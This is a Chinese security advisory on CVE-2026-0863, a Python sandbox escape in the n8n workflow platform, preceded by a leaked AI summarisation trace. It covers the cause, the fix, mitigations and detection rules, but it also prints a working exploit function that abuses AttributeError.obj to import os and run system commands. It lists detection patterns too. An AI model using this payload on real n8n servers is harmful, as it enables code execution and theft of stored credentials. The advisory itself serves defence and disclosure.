CVE-2026-0863 n8n Python Task Executor沙箱逃逸漏洞分析报告
嗯,用户让我帮忙总结一篇文章,控制在100个字以内,而且不需要特定的开头。我得先仔细看看这篇文章的内容。 文章是关于CVE-2026-0863漏洞的,这是一个n8n工作流平台中的Python沙箱逃逸漏洞。CVSS评分是8.5,属于高危。漏洞影响的版本包括1.123.14以下、2.0.0到2.3.4,以及2.4.0到2.4.1。 漏洞的技术原理是利用Python的AttributeError异常对象的obj属性,绕过n8n的安全沙箱机制。攻击者可以执行任意代码,影响包括内部模式下的完全控制权和外部模式下的受限影响。 修复方案是在黑名单中添加"obj"属性,并建议用户升级到安全版本。此外还有深度防御策略和行业启示,强调白名单机制和纵深防御的重要性。 现在我需要把这些信息浓缩到100字以内。重点包括漏洞名称、影响范围、技术细节、修复措施以及影响评估。 可能的总结:n8n平台存在Python沙箱逃逸漏洞(CVE-2026-0863),利用AttributeError.obj绕过安全机制,允许攻击者执行任意代码。影响版本包括1.x和2.x系列,修复需升级或禁用相关功能。 这样应该在字数限制内,并且涵盖了关键点。 </think> n8n平台存在Python沙箱逃逸漏洞(CVE-2026-0863),利用AttributeError.obj绕过安全机制,允许攻击者执行任意代码。影响版本包括1.x和2.x系列,修复需升级或禁用相关功能。 2026-1-23 07:47:56 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

CVE-2026-0863:n8n工作流平台Python沙箱逃逸漏洞深度解析

漏洞速览

CVE编号: CVE-2026-0863
漏洞名称: n8n Python Task Executor Sandbox Escape
CVSS评分: 8.5 (高危)
披露时间: 2026年1月18日
发现者: Natan Nehorai (JFrog Security Research Team)
影响范围: n8n < 1.123.14, 2.0.0-2.3.4, 2.4.0-2.4.1


一、漏洞背景

n8n是一个拥有230,000+活跃用户的开源工作流自动化平台,被广泛应用于企业DevOps、数据处理和业务流程自动化。2026年1月18日,JFrog安全研究团队披露了一个影响n8n平台Python代码执行节点的高危沙箱逃逸漏洞。

该漏洞允许经过身份验证的攻击者通过巧妙利用Python异常处理机制,完全绕过n8n的安全沙箱,在服务器上执行任意代码。


二、技术原理

漏洞成因

n8n为了安全执行用户提供的Python代码,实现了基于黑名单的沙箱机制,阻止访问危险的Python对象属性(如__subclasses____globals__等)。

然而,n8n的安全黑名单存在致命遗漏:未阻止AttributeError异常对象的obj属性访问。

攻击原理

Python的AttributeError异常对象包含一个特殊属性obj,该属性保存了触发属性错误的原始对象引用,并且这个引用绕过了所有沙箱检查

攻击链路

触发AttributeError异常
    ↓
捕获异常对象
    ↓
访问exception.obj获取原始对象
    ↓
调用__subclasses__()枚举所有Python类
    ↓
定位BuiltinImporter类
    ↓
导入os/subprocess模块
    ↓
执行系统命令

核心利用代码

def exploit():
    try:
        # 故意触发AttributeError
        f"{dict.mro()[1]:'{__trigger__}'}"
    except AttributeError as e:
        # 利用e.obj绕过沙箱
        obj = e.obj
        get_attr = obj.__getattribute__

        # 获取所有子类
        subclasses = get_attr(
            get_attr(dict.mro()[1], "__class__"),
            "__subclasses__"
        )()

        # 定位BuiltinImporter并导入os
        for cls in subclasses:
            if "BuiltinImporter" in str(cls):
                os = cls.load_module("os")
                return os.system("whoami")

三、影响评估

攻击条件

  • 需要有效的n8n账户(低权限即可)

  • 需要创建或编辑工作流的权限

  • 需要使用Python Code Node功能

影响程度

根据n8n的部署模式,影响程度存在差异:

Internal Mode(严重)

  • 攻击者获得完全控制权

  • 可访问n8n数据库中的所有凭据和API密钥

  • 可窃取敏感业务数据

  • 可横向移动到内网其他系统

External Mode(中等)

  • 攻击者的代码执行被限制在独立容器内

  • 影响范围相对可控

  • 仍可能通过容器逃逸进一步攻击

潜在威胁场景

  1. 内部威胁:不满员工利用低权限账户窃取敏感数据

  2. 供应链攻击:通过修改工作流影响下游系统

  3. 横向移动:从n8n实例突破到内部网络

  4. 数据外泄:批量窃取存储的API密钥和数据库凭据


四、修复方案

官方补丁

n8n团队在披露当日(2026-01-18)发布了修复版本:

  • n8n >= 1.123.14

  • n8n >= 2.3.5

  • n8n >= 2.4.2

修复方法:在BLOCKED_EXCEPTION_ATTRIBUTES黑名单中添加"obj"属性。

修复代码

# packages/@n8n/task-runner-python/src/constants.py
BLOCKED_EXCEPTION_ATTRIBUTES = [
    "cr_code",
    "ag_frame",
    "ag_code",
+   "obj",  # 修复CVE-2026-0863
    "__thisclass__",
    "__self_class__",
    # ...
]

立即行动建议

优先级P0(立即执行)

# 1. 检查版本
docker exec n8n-container n8n --version

# 2. 升级到安全版本
docker pull n8nio/n8n:latest
docker restart n8n-container

# 3. 临时缓解(如无法立即升级)
export N8N_PYTHON_ENABLED=false

优先级P1(7天内完成)

  1. 审计所有Python Code Node工作流

  2. 启用External Mode部署

  3. 实施严格的访问控制和审批流程

  4. 部署监控和异常检测

优先级P2(30天内完成)

  1. 进行全面安全审计

  2. 加强容器安全配置

  3. 实施网络隔离

  4. 建立事件响应流程


五、深度防御策略

1. 架构加固

推荐配置(Docker Compose)

services:
  n8n:
    image: n8nio/n8n:latest
    environment:
      - N8N_RUNNERS_MODE=external  # 强制外部模式
      - N8N_RUNNERS_ENABLED=true
    security_opt:
      - no-new-privileges:true
    cap_drop:
      - ALL
    read_only: true

  task-runner:
    image: n8nio/runners:latest
    security_opt:
      - seccomp=seccomp-profile.json
    cap_drop:
      - ALL
    deploy:
      resources:
        limits:
          cpus: '1.0'
          memory: 512M

2. 检测与监控

关键检测指标

# 监控日志中的可疑模式
suspicious_patterns = [
    "exception.obj",
    "error.obj",
    "__subclasses__",
    "BuiltinImporter",
    "load_module"
]

SIEM规则示例(Splunk)

index=n8n_logs
  ("exception.obj" OR "error.obj" OR "__subclasses__")
  AND source_type="python_execution"
| table _time, user, workflow_id, code_snippet
| sort -_time

3. 访问控制

  • 实施基于角色的访问控制(RBAC)

  • 限制Python Code Node的使用权限

  • 启用多因素认证(MFA)

  • 定期审查用户权限


六、行业启示

1. Python沙箱的固有困境

CVE-2026-0863再次证明:基于黑名单的Python沙箱存在根本性缺陷

历史上多个Python沙箱项目最终失败:

  • pysandbox:作者承认"无法安全实现"

  • PyPy Sandbox:因维护成本过高被废弃

  • Pyodide:存在多个已知沙箱逃逸漏洞

2. 相似漏洞案例

  • asteval库 (GHSA-3wwr-3g9f-9gc7):同样利用AttributeError.obj

  • RestrictedPython (CVE-2024-47532):类似的属性访问漏洞

  • n8n Pyodide (CVE-2025-68668):旧版本沙箱逃逸

3. 设计教训

  1. 避免黑名单:优先使用白名单机制

  2. 纵深防御:不依赖单一安全控制

  3. 进程隔离:使用容器、虚拟机等物理隔离

  4. 最小权限:严格限制代码执行环境的能力


七、总结

CVE-2026-0863是一个典型的沙箱逃逸漏洞,它揭示了Python语言强大的内省能力与安全隔离之间的根本性矛盾。虽然n8n团队快速响应并发布了补丁,但这一事件提醒我们:

  1. 黑名单永远不够完整:总会存在被遗漏的攻击向量

  2. 纵深防御至关重要:External Mode显著降低了漏洞影响

  3. 安全是持续过程:需要定期审计和监控

对于n8n用户,立即升级到安全版本是最重要的行动。对于安全从业者,这个案例再次强调了代码执行功能的安全设计难度,以及持续安全研究的重要性。


参考资源

  • NVD数据库: https://nvd.nist.gov/vuln/detail/CVE-2026-0863

  • JFrog安全研究: https://research.jfrog.com/vulnerabilities/n8n-python-runner-sandbox-escape-jfsa-2026-001651077/

  • GitHub修复提交: https://github.com/n8n-io/n8n/commit/b73a4283cb14e0f27ce19692326f362c7bf3da02

  • n8n官方文档: https://docs.n8n.io/hosting/configuration/task-runners/


免责声明: 本文内容仅用于安全研究和防御目的,任何未经授权的攻击行为均属违法。


文章来源: https://www.freebuf.com/articles/vuls/467975.html
如有侵权请联系:admin#unsafe.sh